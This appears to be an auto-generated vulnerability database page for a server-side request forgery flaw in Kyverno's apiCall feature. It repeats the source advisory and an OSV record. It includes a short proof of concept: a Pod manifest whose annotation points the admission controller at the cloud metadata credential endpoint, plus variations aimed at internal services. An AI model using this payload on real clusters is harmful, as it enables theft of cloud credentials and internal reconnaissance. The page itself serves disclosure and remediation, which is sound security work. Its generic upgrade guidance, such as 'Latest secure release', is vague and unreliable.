GHSA-qr4g-8hrp-c4rw: Github.com/kyverno/kyverno Kyverno Has Unrestricted Outbound Requests Vulnerability

HIGH
CVSS 7.7
CWE-918
Published
Advisory Summary

GHSA-qr4g-8hrp-c4rw is a HIGH (CVSS 7.7) kyverno has unrestricted outbound requests vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno has unrestricted outbound requests in kyverno apicall enabling ssrf. Remediation is available in the latest vendor maintenance releases.

GHSA-qr4g-8hrp-c4rw at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qr4g-8hrp-c4rw
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-qr4g-8hrp-c4rw

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: Latest secure release
Upgrade github.com/kyverno/kyverno to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by GHSA-qr4g-8hrp-c4rw, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints. When a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions. The issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages. --- ### Details Kyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control. However, the current implementation lacks fundamental safeguards in the HTTP execution path: #### Missing protections - **No URL validation** User-controlled input is directly embedded into the request URL without validation or normalization. - **No IP filtering** Requests can target: - Loopback (`127.0.0.1`) - Link-local (`169.254.0.0/16`) - Cloud metadata services (e.g. AWS IMDS) - Internal ClusterIP services - **Redirect handling not restricted** The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target. - **Response data reflection in admission errors** Response bodies are propagated back to the user in admission responses under certain conditions. #### Non-blind SSRF behavior The vulnerability is **non-blind** through two mechanisms: 1. **Non-2xx responses** Response body is returned in admission error messages (e.g. `executor.go:98-101`) 2. **2xx responses with non-JSON content** Parsing failures (JSON/JMESPath) include response snippets in error output This allows attackers to retrieve data from internal services directly via `kubectl` output. --- ### PoC #### Preconditions 1. A `ClusterPolicy` using: ```yaml apiCall: service: url: "http://{{ request.object.metadata.annotations.target }}" ``` 2. An authenticated user able to create matching resources (e.g. Pods) --- #### Step 1 — Create malicious resource ```yaml apiVersion: v1 kind: Pod metadata: name: ssrf-test annotations: target: "169.254.169.254/latest/meta-data/iam/security-credentials/" spec: containers: - name: test image: nginx ``` --- #### Step 2 — Apply resource ```bash kubectl apply -f pod.yaml ``` --- #### Step 3 — Observe output Example output: ```text Error from server: admission webhook "kyverno" denied the request: failed to process apiCall: <response body from metadata service> ``` --- #### Variations - Internal services: http://kubernetes.default.svc - Loopback: http://127.0.0.1:8080 - Redirect chains to bypass naive filters --- ### Impact #### Vulnerability class - Server-Side Request Forgery (SSRF) - Non-blind data exfiltration #### Affected scope - Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution #### Impact details - Access to internal services (ClusterIP, localhost) - Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure) - Internal network reconnaissance - Multi-tenant boundary weakening This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.

GHSA-qr4g-8hrp-c4rw Affected Github.com/kyverno/kyverno Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
≤ 1.17.1

References

Frequently Asked Questions

What is GHSA-qr4g-8hrp-c4rw?
GHSA-qr4g-8hrp-c4rw is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/kyverno/kyverno.
What version fixes GHSA-qr4g-8hrp-c4rw?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-qr4g-8hrp-c4rw?
GHSA-qr4g-8hrp-c4rw has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-qr4g-8hrp-c4rw?
GHSA-qr4g-8hrp-c4rw is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for GHSA-qr4g-8hrp-c4rw?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qr4g-8hrp-c4rw",
  "modified" : "2026-04-14T20:05:52Z",
  "published" : "2026-04-14T20:05:52Z",
  "aliases" : [ ],
  "summary" : "Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF",
  "details" : "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.\n\nWhen a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.\n\nThe issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages.\n\n---\n\n### Details\n\nKyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control.\n\nHowever, the current implementation lacks fundamental safeguards in the HTTP execution path:\n\n#### Missing protections\n\n- **No URL validation**  \n  User-controlled input is directly embedded into the request URL without validation or normalization.\n\n- **No IP filtering**  \n  Requests can target:\n  - Loopback (`127.0.0.1`)\n  - Link-local (`169.254.0.0/16`)\n  - Cloud metadata services (e.g. AWS IMDS)\n  - Internal ClusterIP services\n\n- **Redirect handling not restricted**  \n  The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target.\n\n- **Response data reflection in admission errors**  \n  Response bodies are propagated back to the user in admission responses under certain conditions.\n\n#### Non-blind SSRF behavior\n\nThe vulnerability is **non-blind** through two mechanisms:\n\n1. **Non-2xx responses**  \n   Response body is returned in admission error messages (e.g. `executor.go:98-101`)\n\n2. **2xx responses with non-JSON content**  \n   Parsing failures (JSON/JMESPath) include response snippets in error output\n\nThis allows attackers to retrieve data from internal services directly via `kubectl` output.\n\n---\n\n### PoC\n\n#### Preconditions\n\n1. A `ClusterPolicy` using:\n```yaml\napiCall:\n  service:\n    url: \"http://{{ request.object.metadata.annotations.target }}\"\n```\n\n2. An authenticated user able to create matching resources (e.g. Pods)\n\n---\n\n#### Step 1 — Create malicious resource\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ssrf-test\n  annotations:\n    target: \"169.254.169.254/latest/meta-data/iam/security-credentials/\"\nspec:\n  containers:\n  - name: test\n    image: nginx\n```\n\n---\n\n#### Step 2 — Apply resource\n\n```bash\nkubectl apply -f pod.yaml\n```\n\n---\n\n#### Step 3 — Observe output\n\nExample output:\n\n```text\nError from server: admission webhook \"kyverno\" denied the request:\nfailed to process apiCall: <response body from metadata service>\n```\n\n---\n\n#### Variations\n\n- Internal services:\n  http://kubernetes.default.svc\n- Loopback:\n  http://127.0.0.1:8080\n- Redirect chains to bypass naive filters\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Server-Side Request Forgery (SSRF)\n- Non-blind data exfiltration\n\n#### Affected scope\n- Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution\n\n#### Impact details\n\n- Access to internal services (ClusterIP, localhost)\n- Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)\n- Internal network reconnaissance\n- Multi-tenant boundary weakening\n\nThis issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.17.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-qr4g-8hrp-c4rw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T20:05:52Z",
    "nvd_published_at" : null
  }
}